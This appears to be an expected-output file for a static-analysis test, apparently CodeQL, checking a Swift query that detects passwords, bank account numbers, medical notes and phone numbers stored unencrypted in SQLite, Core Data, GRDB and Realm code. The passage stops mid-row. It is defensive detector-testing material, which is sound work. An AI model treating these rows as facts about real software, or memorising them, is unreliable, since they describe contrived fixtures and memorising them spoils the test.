SQLite.swift:153:20:153:20 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:154:23:154:23 | [...] | SQLite.swift:154:23:154:23 | mobilePhoneNumber | SQLite.swift:154:23:154:23 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:154:23:154:23 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:158:32:158:54 | [...] | SQLite.swift:158:33:158:33 | mobilePhoneNumber | SQLite.swift:158:32:158:54 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:158:33:158:33 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:159:28:159:50 | [...] | SQLite.swift:159:29:159:29 | mobilePhoneNumber | SQLite.swift:159:28:159:50 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:159:29:159:29 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:160:31:160:53 | [...] | SQLite.swift:160:32:160:32 | mobilePhoneNumber | SQLite.swift:160:31:160:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:160:32:160:32 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:163:21:163:43 | [...] | SQLite.swift:163:22:163:22 | mobilePhoneNumber | SQLite.swift:163:21:163:43 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:163:22:163:22 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:164:20:164:42 | [...] | SQLite.swift:164:21:164:21 | mobilePhoneNumber | SQLite.swift:164:20:164:42 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:164:21:164:21 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:165:23:165:45 | [...] | SQLite.swift:165:24:165:24 | mobilePhoneNumber | SQLite.swift:165:23:165:45 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:165:24:165:24 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:169:32:169:70 | [...] | SQLite.swift:169:53:169:53 | mobilePhoneNumber | SQLite.swift:169:32:169:70 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:169:53:169:53 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:170:28:170:66 | [...] | SQLite.swift:170:49:170:49 | mobilePhoneNumber | SQLite.swift:170:28:170:66 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:170:49:170:49 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:171:31:171:69 | [...] | SQLite.swift:171:52:171:52 | mobilePhoneNumber | SQLite.swift:171:31:171:69 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:171:52:171:52 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:174:21:174:59 | [...] | SQLite.swift:174:42:174:42 | mobilePhoneNumber | SQLite.swift:174:21:174:59 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:174:42:174:42 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:175:20:175:58 | [...] | SQLite.swift:175:41:175:41 | mobilePhoneNumber | SQLite.swift:175:20:175:58 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:175:41:175:41 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:176:23:176:61 | [...] | SQLite.swift:176:44:176:44 | mobilePhoneNumber | SQLite.swift:176:23:176:61 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:176:44:176:44 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:186:40:186:54 | [...] | SQLite.swift:186:54:186:54 | mobilePhoneNumber | SQLite.swift:186:40:186:54 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:186:54:186:54 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:189:26:189:40 | [...] | SQLite.swift:189:40:189:40 | mobilePhoneNumber | SQLite.swift:189:26:189:40 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:189:40:189:40 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:191:27:191:41 | [...] | SQLite.swift:191:41:191:41 | mobilePhoneNumber | SQLite.swift:191:27:191:41 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:191:41:191:41 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:193:26:193:89 | [...] | SQLite.swift:193:72:193:72 | mobilePhoneNumber | SQLite.swift:193:26:193:89 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:193:72:193:72 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:199:30:199:30 | badMany | SQLite.swift:197:32:197:32 | mobilePhoneNumber | SQLite.swift:199:30:199:30 | badMany | This operation stores 'badMany' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:197:32:197:32 | mobilePhoneNumber | mobilePhoneNumber | -| SQLite.swift:201:54:201:54 | badMany | SQLite.swift:197:32:197:32 | mobilePhoneNumber | SQLite.swift:201:54:201:54 | badMany | This operation stores 'badMany' in a database. It may contain unencrypted sensitive data from $@. | SQLite.swift:197:32:197:32 | mobilePhoneNumber | mobilePhoneNumber | -| sqlite3_c_api.swift:46:27:46:27 | insertQuery | sqlite3_c_api.swift:42:69:42:69 | medicalNotes | sqlite3_c_api.swift:46:27:46:27 | insertQuery | This operation stores 'insertQuery' in a database. It may contain unencrypted sensitive data from $@. | sqlite3_c_api.swift:42:69:42:69 | medicalNotes | medicalNotes | -| sqlite3_c_api.swift:47:27:47:27 | updateQuery | sqlite3_c_api.swift:43:49:43:49 | medicalNotes | sqlite3_c_api.swift:47:27:47:27 | updateQuery | This operation stores 'updateQuery' in a database. It may contain unencrypted sensitive data from $@. | sqlite3_c_api.swift:43:49:43:49 | medicalNotes | medicalNotes | -| sqlite3_c_api.swift:58:36:58:36 | medicalNotes | sqlite3_c_api.swift:58:36:58:36 | medicalNotes | sqlite3_c_api.swift:58:36:58:36 | medicalNotes | This operation stores 'medicalNotes' in a database. It may contain unencrypted sensitive data from $@. | sqlite3_c_api.swift:58:36:58:36 | medicalNotes | medicalNotes | -| testCoreData2.swift:37:2:37:2 | obj | testCoreData2.swift:37:16:37:16 | bankAccountNo | testCoreData2.swift:37:2:37:2 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:37:16:37:16 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:39:2:39:2 | obj | testCoreData2.swift:39:28:39:28 | bankAccountNo | testCoreData2.swift:39:2:39:2 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:39:28:39:28 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:41:2:41:2 | obj | testCoreData2.swift:41:29:41:29 | bankAccountNo | testCoreData2.swift:41:2:41:2 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:41:29:41:29 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:43:2:43:2 | obj | testCoreData2.swift:43:35:43:35 | bankAccountNo | testCoreData2.swift:43:2:43:2 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:43:35:43:35 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:46:2:46:10 | ...? | testCoreData2.swift:46:22:46:22 | bankAccountNo | testCoreData2.swift:46:2:46:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:46:22:46:22 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:48:2:48:10 | ...? | testCoreData2.swift:48:34:48:34 | bankAccountNo | testCoreData2.swift:48:2:48:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:48:34:48:34 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:50:2:50:10 | ...? | testCoreData2.swift:50:35:50:35 | bankAccountNo | testCoreData2.swift:50:2:50:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:50:35:50:35 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:52:2:52:10 | ...? | testCoreData2.swift:52:41:52:41 | bankAccountNo | testCoreData2.swift:52:2:52:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:52:41:52:41 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:57:3:57:3 | obj | testCoreData2.swift:57:29:57:29 | bankAccountNo | testCoreData2.swift:57:3:57:3 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:57:29:57:29 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:60:4:60:4 | obj | testCoreData2.swift:60:30:60:30 | bankAccountNo | testCoreData2.swift:60:4:60:4 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:60:30:60:30 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:62:4:62:4 | obj | testCoreData2.swift:62:30:62:30 | bankAccountNo | testCoreData2.swift:62:4:62:4 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:62:30:62:30 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:65:3:65:3 | obj | testCoreData2.swift:65:29:65:29 | bankAccountNo | testCoreData2.swift:65:3:65:3 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:65:29:65:29 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:79:2:79:2 | dbObj | testCoreData2.swift:79:18:79:28 | .bankAccountNo | testCoreData2.swift:79:2:79:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:79:18:79:28 | .bankAccountNo | .bankAccountNo | -| testCoreData2.swift:80:2:80:2 | dbObj | testCoreData2.swift:80:18:80:28 | .bankAccountNo2 | testCoreData2.swift:80:2:80:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:80:18:80:28 | .bankAccountNo2 | .bankAccountNo2 | -| testCoreData2.swift:82:2:82:2 | dbObj | testCoreData2.swift:82:18:82:18 | bankAccountNo | testCoreData2.swift:82:2:82:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:82:18:82:18 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:83:2:83:2 | dbObj | testCoreData2.swift:83:18:83:18 | bankAccountNo | testCoreData2.swift:83:2:83:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:83:18:83:18 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:84:2:84:2 | dbObj | testCoreData2.swift:84:18:84:18 | bankAccountNo2 | testCoreData2.swift:84:2:84:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:84:18:84:18 | bankAccountNo2 | bankAccountNo2 | -| testCoreData2.swift:85:2:85:2 | dbObj | testCoreData2.swift:85:18:85:18 | bankAccountNo2 | testCoreData2.swift:85:2:85:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:85:18:85:18 | bankAccountNo2 | bankAccountNo2 | -| testCoreData2.swift:87:2:87:10 | ...? | testCoreData2.swift:87:22:87:32 | .bankAccountNo | testCoreData2.swift:87:2:87:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:87:22:87:32 | .bankAccountNo | .bankAccountNo | -| testCoreData2.swift:88:2:88:10 | ...? | testCoreData2.swift:88:22:88:22 | bankAccountNo | testCoreData2.swift:88:2:88:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:88:22:88:22 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:89:2:89:10 | ...? | testCoreData2.swift:89:22:89:22 | bankAccountNo2 | testCoreData2.swift:89:2:89:10 | [post] ...? | This operation stores '...?' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:89:22:89:22 | bankAccountNo2 | bankAccountNo2 | -| testCoreData2.swift:93:2:93:2 | dbObj | testCoreData2.swift:91:10:91:10 | bankAccountNo | testCoreData2.swift:93:2:93:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:91:10:91:10 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:98:2:98:2 | dbObj | testCoreData2.swift:95:10:95:10 | bankAccountNo | testCoreData2.swift:98:2:98:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:95:10:95:10 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:104:2:104:2 | dbObj | testCoreData2.swift:101:10:101:10 | bankAccountNo | testCoreData2.swift:104:2:104:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:101:10:101:10 | bankAccountNo | bankAccountNo | -| testCoreData2.swift:105:2:105:2 | dbObj | testCoreData2.swift:101:10:101:10 | bankAccountNo | testCoreData2.swift:105:2:105:2 | [post] dbObj | This operation stores 'dbObj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData2.swift:101:10:101:10 | bankAccountNo | bankAccountNo | -| testCoreData.swift:19:12:19:12 | value | testCoreData.swift:61:25:61:25 | password | testCoreData.swift:19:12:19:12 | value | This operation stores 'value' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:61:25:61:25 | password | password | -| testCoreData.swift:32:13:32:13 | newValue | testCoreData.swift:64:16:64:16 | password | testCoreData.swift:32:13:32:13 | newValue | This operation stores 'newValue' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:64:16:64:16 | password | password | -| testCoreData.swift:48:15:48:15 | password | testCoreData.swift:48:15:48:15 | password | testCoreData.swift:48:15:48:15 | password | This operation stores 'password' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:48:15:48:15 | password | password | -| testCoreData.swift:51:24:51:24 | password | testCoreData.swift:51:24:51:24 | password | testCoreData.swift:51:24:51:24 | password | This operation stores 'password' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:51:24:51:24 | password | password | -| testCoreData.swift:58:15:58:15 | password | testCoreData.swift:58:15:58:15 | password | testCoreData.swift:58:15:58:15 | password | This operation stores 'password' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:58:15:58:15 | password | password | -| testCoreData.swift:64:2:64:2 | obj | testCoreData.swift:64:16:64:16 | password | testCoreData.swift:64:2:64:2 | [post] obj | This operation stores 'obj' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:64:16:64:16 | password | password | -| testCoreData.swift:78:15:78:15 | x | testCoreData.swift:77:24:77:24 | x | testCoreData.swift:78:15:78:15 | x | This operation stores 'x' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:77:24:77:24 | x | x | -| testCoreData.swift:81:15:81:15 | y | testCoreData.swift:80:10:80:22 | call to getPassword() | testCoreData.swift:81:15:81:15 | y | This operation stores 'y' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:80:10:80:22 | call to getPassword() | call to getPassword() | -| testCoreData.swift:85:15:85:17 | .password | testCoreData.swift:85:15:85:17 | .password | testCoreData.swift:85:15:85:17 | .password | This operation stores '.password' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:85:15:85:17 | .password | .password | -| testCoreData.swift:95:15:95:15 | x | testCoreData.swift:91:10:91:10 | passwd | testCoreData.swift:95:15:95:15 | x | This operation stores 'x' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:91:10:91:10 | passwd | passwd | -| testCoreData.swift:96:15:96:15 | y | testCoreData.swift:92:10:92:10 | passwd | testCoreData.swift:96:15:96:15 | y | This operation stores 'y' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:92:10:92:10 | passwd | passwd | -| testCoreData.swift:97:15:97:15 | z | testCoreData.swift:93:10:93:10 | passwd | testCoreData.swift:97:15:97:15 | z | This operation stores 'z' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:93:10:93:10 | passwd | passwd | -| testCoreData.swift:128:15:128:33 | call to generateSecretKey() | testCoreData.swift:128:15:128:33 | call to generateSecretKey() | testCoreData.swift:128:15:128:33 | call to generateSecretKey() | This operation stores 'call to generateSecretKey()' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:128:15:128:33 | call to generateSecretKey() | call to generateSecretKey() | -| testCoreData.swift:129:15:129:30 | call to getCertificate() | testCoreData.swift:129:15:129:30 | call to getCertificate() | testCoreData.swift:129:15:129:30 | call to getCertificate() | This operation stores 'call to getCertificate()' in a database. It may contain unencrypted sensitive data from $@. | testCoreData.swift:129:15:129:30 | call to getCertificate() | call to getCertificate() | -| testGRDB.swift:73:56:73:65 | [...] | testGRDB.swift:73:57:73:57 | password | testGRDB.swift:73:56:73:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:73:57:73:57 | password | password | -| testGRDB.swift:76:42:76:51 | [...] | testGRDB.swift:76:43:76:43 | password | testGRDB.swift:76:42:76:51 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:76:43:76:43 | password | password | -| testGRDB.swift:81:44:81:53 | [...] | testGRDB.swift:81:45:81:45 | password | testGRDB.swift:81:44:81:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:81:45:81:45 | password | password | -| testGRDB.swift:83:44:83:53 | [...] | testGRDB.swift:83:45:83:45 | password | testGRDB.swift:83:44:83:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:83:45:83:45 | password | password | -| testGRDB.swift:85:44:85:53 | [...] | testGRDB.swift:85:45:85:45 | password | testGRDB.swift:85:44:85:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:85:45:85:45 | password | password | -| testGRDB.swift:87:44:87:53 | [...] | testGRDB.swift:87:45:87:45 | password | testGRDB.swift:87:44:87:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:87:45:87:45 | password | password | -| testGRDB.swift:92:37:92:46 | [...] | testGRDB.swift:92:38:92:38 | password | testGRDB.swift:92:37:92:46 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:92:38:92:38 | password | password | -| testGRDB.swift:95:36:95:45 | [...] | testGRDB.swift:95:37:95:37 | password | testGRDB.swift:95:36:95:45 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:95:37:95:37 | password | password | -| testGRDB.swift:100:72:100:81 | [...] | testGRDB.swift:100:73:100:73 | password | testGRDB.swift:100:72:100:81 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:100:73:100:73 | password | password | -| testGRDB.swift:101:72:101:81 | [...] | testGRDB.swift:101:73:101:73 | password | testGRDB.swift:101:72:101:81 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:101:73:101:73 | password | password | -| testGRDB.swift:107:52:107:61 | [...] | testGRDB.swift:107:53:107:53 | password | testGRDB.swift:107:52:107:61 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:107:53:107:53 | password | password | -| testGRDB.swift:109:52:109:61 | [...] | testGRDB.swift:109:53:109:53 | password | testGRDB.swift:109:52:109:61 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:109:53:109:53 | password | password | -| testGRDB.swift:111:51:111:60 | [...] | testGRDB.swift:111:52:111:52 | password | testGRDB.swift:111:51:111:60 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:111:52:111:52 | password | password | -| testGRDB.swift:116:47:116:56 | [...] | testGRDB.swift:116:48:116:48 | password | testGRDB.swift:116:47:116:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:116:48:116:48 | password | password | -| testGRDB.swift:118:47:118:56 | [...] | testGRDB.swift:118:48:118:48 | password | testGRDB.swift:118:47:118:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:118:48:118:48 | password | password | -| testGRDB.swift:121:44:121:53 | [...] | testGRDB.swift:121:45:121:45 | password | testGRDB.swift:121:44:121:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:121:45:121:45 | password | password | -| testGRDB.swift:123:44:123:53 | [...] | testGRDB.swift:123:45:123:45 | password | testGRDB.swift:123:44:123:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:123:45:123:45 | password | password | -| testGRDB.swift:126:44:126:53 | [...] | testGRDB.swift:126:45:126:45 | password | testGRDB.swift:126:44:126:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:126:45:126:45 | password | password | -| testGRDB.swift:128:44:128:53 | [...] | testGRDB.swift:128:45:128:45 | password | testGRDB.swift:128:44:128:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:128:45:128:45 | password | password | -| testGRDB.swift:131:44:131:53 | [...] | testGRDB.swift:131:45:131:45 | password | testGRDB.swift:131:44:131:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:131:45:131:45 | password | password | -| testGRDB.swift:133:44:133:53 | [...] | testGRDB.swift:133:45:133:45 | password | testGRDB.swift:133:44:133:53 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:133:45:133:45 | password | password | -| testGRDB.swift:138:68:138:77 | [...] | testGRDB.swift:138:69:138:69 | password | testGRDB.swift:138:68:138:77 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:138:69:138:69 | password | password | -| testGRDB.swift:140:68:140:77 | [...] | testGRDB.swift:140:69:140:69 | password | testGRDB.swift:140:68:140:77 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:140:69:140:69 | password | password | -| testGRDB.swift:143:65:143:74 | [...] | testGRDB.swift:143:66:143:66 | password | testGRDB.swift:143:65:143:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:143:66:143:66 | password | password | -| testGRDB.swift:145:65:145:74 | [...] | testGRDB.swift:145:66:145:66 | password | testGRDB.swift:145:65:145:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:145:66:145:66 | password | password | -| testGRDB.swift:148:65:148:74 | [...] | testGRDB.swift:148:66:148:66 | password | testGRDB.swift:148:65:148:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:148:66:148:66 | password | password | -| testGRDB.swift:150:65:150:74 | [...] | testGRDB.swift:150:66:150:66 | password | testGRDB.swift:150:65:150:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:150:66:150:66 | password | password | -| testGRDB.swift:153:65:153:74 | [...] | testGRDB.swift:153:66:153:66 | password | testGRDB.swift:153:65:153:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:153:66:153:66 | password | password | -| testGRDB.swift:155:65:155:74 | [...] | testGRDB.swift:155:66:155:66 | password | testGRDB.swift:155:65:155:74 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:155:66:155:66 | password | password | -| testGRDB.swift:160:59:160:68 | [...] | testGRDB.swift:160:60:160:60 | password | testGRDB.swift:160:59:160:68 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:160:60:160:60 | password | password | -| testGRDB.swift:161:50:161:59 | [...] | testGRDB.swift:161:51:161:51 | password | testGRDB.swift:161:50:161:59 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:161:51:161:51 | password | password | -| testGRDB.swift:164:59:164:68 | [...] | testGRDB.swift:164:60:164:60 | password | testGRDB.swift:164:59:164:68 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:164:60:164:60 | password | password | -| testGRDB.swift:165:50:165:59 | [...] | testGRDB.swift:165:51:165:51 | password | testGRDB.swift:165:50:165:59 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:165:51:165:51 | password | password | -| testGRDB.swift:169:56:169:65 | [...] | testGRDB.swift:169:57:169:57 | password | testGRDB.swift:169:56:169:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:169:57:169:57 | password | password | -| testGRDB.swift:170:47:170:56 | [...] | testGRDB.swift:170:48:170:48 | password | testGRDB.swift:170:47:170:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:170:48:170:48 | password | password | -| testGRDB.swift:173:56:173:65 | [...] | testGRDB.swift:173:57:173:57 | password | testGRDB.swift:173:56:173:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:173:57:173:57 | password | password | -| testGRDB.swift:174:47:174:56 | [...] | testGRDB.swift:174:48:174:48 | password | testGRDB.swift:174:47:174:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:174:48:174:48 | password | password | -| testGRDB.swift:178:56:178:65 | [...] | testGRDB.swift:178:57:178:57 | password | testGRDB.swift:178:56:178:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:178:57:178:57 | password | password | -| testGRDB.swift:179:47:179:56 | [...] | testGRDB.swift:179:48:179:48 | password | testGRDB.swift:179:47:179:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:179:48:179:48 | password | password | -| testGRDB.swift:182:56:182:65 | [...] | testGRDB.swift:182:57:182:57 | password | testGRDB.swift:182:56:182:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:182:57:182:57 | password | password | -| testGRDB.swift:183:47:183:56 | [...] | testGRDB.swift:183:48:183:48 | password | testGRDB.swift:183:47:183:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:183:48:183:48 | password | password | -| testGRDB.swift:187:56:187:65 | [...] | testGRDB.swift:187:57:187:57 | password | testGRDB.swift:187:56:187:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:187:57:187:57 | password | password | -| testGRDB.swift:188:47:188:56 | [...] | testGRDB.swift:188:48:188:48 | password | testGRDB.swift:188:47:188:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:188:48:188:48 | password | password | -| testGRDB.swift:191:56:191:65 | [...] | testGRDB.swift:191:57:191:57 | password | testGRDB.swift:191:56:191:65 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:191:57:191:57 | password | password | -| testGRDB.swift:192:47:192:56 | [...] | testGRDB.swift:192:48:192:48 | password | testGRDB.swift:192:47:192:56 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:192:48:192:48 | password | password | -| testGRDB.swift:198:29:198:38 | [...] | testGRDB.swift:198:30:198:30 | password | testGRDB.swift:198:29:198:38 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:198:30:198:30 | password | password | -| testGRDB.swift:201:23:201:32 | [...] | testGRDB.swift:201:24:201:24 | password | testGRDB.swift:201:23:201:32 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:201:24:201:24 | password | password | -| testGRDB.swift:206:66:206:75 | [...] | testGRDB.swift:206:67:206:67 | password | testGRDB.swift:206:66:206:75 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:206:67:206:67 | password | password | -| testGRDB.swift:208:80:208:89 | [...] | testGRDB.swift:208:81:208:81 | password | testGRDB.swift:208:80:208:89 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:208:81:208:81 | password | password | -| testGRDB.swift:210:84:210:93 | [...] | testGRDB.swift:210:85:210:85 | password | testGRDB.swift:210:84:210:93 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:210:85:210:85 | password | password | -| testGRDB.swift:212:98:212:107 | [...] | testGRDB.swift:212:99:212:99 | password | testGRDB.swift:212:98:212:107 | [...] | This operation stores '[...]' in a database. It may contain unencrypted sensitive data from $@. | testGRDB.swift:212:99:212:99 | password | password | -| testRealm2.swift:18:2:18:2 | o | testRealm2.swift:18:11:18:11 | myPassword | testRealm2.swift:18:2:18:2 | [post] o | This operation stores 'o' in a database. It may contain unencrypted sensitive data from 